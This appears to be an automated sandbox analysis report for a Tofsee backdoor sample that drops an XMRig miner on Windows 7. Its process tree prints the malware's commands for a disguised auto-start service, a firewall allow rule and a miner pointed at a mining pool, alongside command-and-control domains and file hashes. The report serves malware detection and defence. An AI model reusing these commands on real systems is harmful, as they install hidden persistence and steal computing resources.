Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    06-05-2023 21:56

General

  • Target

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe

  • Size

    303KB

  • MD5

    531df55984e2b66ad9f0dbd639de601e

  • SHA1

    dc9d0df60d45c19e668e99a39946d1d39a5d9a09

  • SHA256

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f

  • SHA512

    1a2029171755e8c7f4f374af5544eef317a0d1635272991b7535f4406a99b4ef5d70985602fd85c8b9eb40de2215c81be496157821f78a013cea74ad2848e72b

  • SSDEEP

    3072:MuFL7HO/Wc2L/rIUpqfM/FqdAt/XOM5TJDTnmhd+:xFL7HQ2LrI7fg2AtXJnmv+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe
    "C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1484
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\prfxuxmg\
      2⤵
        PID:852
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ahgtbbjn.exe" C:\Windows\SysWOW64\prfxuxmg\
        2⤵
          PID:800
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create prfxuxmg binPath= "C:\Windows\SysWOW64\prfxuxmg\ahgtbbjn.exe /d\"C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description prfxuxmg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:984
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start prfxuxmg
          2⤵
          • Launches sc.exe
          PID:1344
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1184
      • C:\Windows\SysWOW64\prfxuxmg\ahgtbbjn.exe
        C:\Windows\SysWOW64\prfxuxmg\ahgtbbjn.exe /d"C:\Users\Admin\AppData\Local\Temp\e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:612
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:296

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ahgtbbjn.exe
        Filesize

        14.8MB

        MD5

        bb71988502e73fa00df6e92b13fc0ba0

        SHA1

        67a095de7246170aedbf0fd501d7e08c2aabac82

        SHA256

        30d8bd79a2805d07424f55de64646a70e4ff791dc5a44c0c42bc9f7b47c654a6

        SHA512

        db218e33696cf903e2614658746d9b25976ca28a561643bb108a40859e1071deec28416295c5bc1314e23695be92490e1abe3c75ee83a2434162b337e6ff2b00

      • C:\Windows\SysWOW64\prfxuxmg\ahgtbbjn.exe
        Filesize

        14.8MB

        MD5

        bb71988502e73fa00df6e92b13fc0ba0

        SHA1

        67a095de7246170aedbf0fd501d7e08c2aabac82

        SHA256

        30d8bd79a2805d07424f55de64646a70e4ff791dc5a44c0c42bc9f7b47c654a6

        SHA512

        db218e33696cf903e2614658746d9b25976ca28a561643bb108a40859e1071deec28416295c5bc1314e23695be92490e1abe3c75ee83a2434162b337e6ff2b00

      • memory/296-123-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-127-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-126-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-125-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-124-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-116-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/296-115-0x0000000000170000-0x0000000000261000-memory.dmp
        Filesize

        964KB

      • memory/612-69-0x0000000000400000-0x0000000000A5C000-memory.dmp
        Filesize

        6.4MB

      • memory/1484-62-0x0000000000400000-0x0000000000A5C000-memory.dmp
        Filesize

        6.4MB

      • memory/1484-58-0x0000000000400000-0x0000000000A5C000-memory.dmp
        Filesize

        6.4MB

      • memory/1484-56-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/2016-91-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-99-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-80-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/2016-83-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-86-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-87-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-88-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-89-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-90-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-76-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/2016-92-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-93-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-94-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-95-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-96-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-97-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-98-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-79-0x00000000019A0000-0x0000000001BAF000-memory.dmp
        Filesize

        2.1MB

      • memory/2016-100-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-101-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-102-0x00000000001A0000-0x00000000001B0000-memory.dmp
        Filesize

        64KB

      • memory/2016-103-0x0000000000210000-0x0000000000215000-memory.dmp
        Filesize

        20KB

      • memory/2016-106-0x0000000000210000-0x0000000000215000-memory.dmp
        Filesize

        20KB

      • memory/2016-107-0x0000000005930000-0x0000000005D3B000-memory.dmp
        Filesize

        4.0MB

      • memory/2016-110-0x0000000005930000-0x0000000005D3B000-memory.dmp
        Filesize

        4.0MB

      • memory/2016-111-0x0000000000220000-0x0000000000227000-memory.dmp
        Filesize

        28KB

      • memory/2016-75-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-73-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-72-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-71-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-66-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/2016-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/2016-65-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB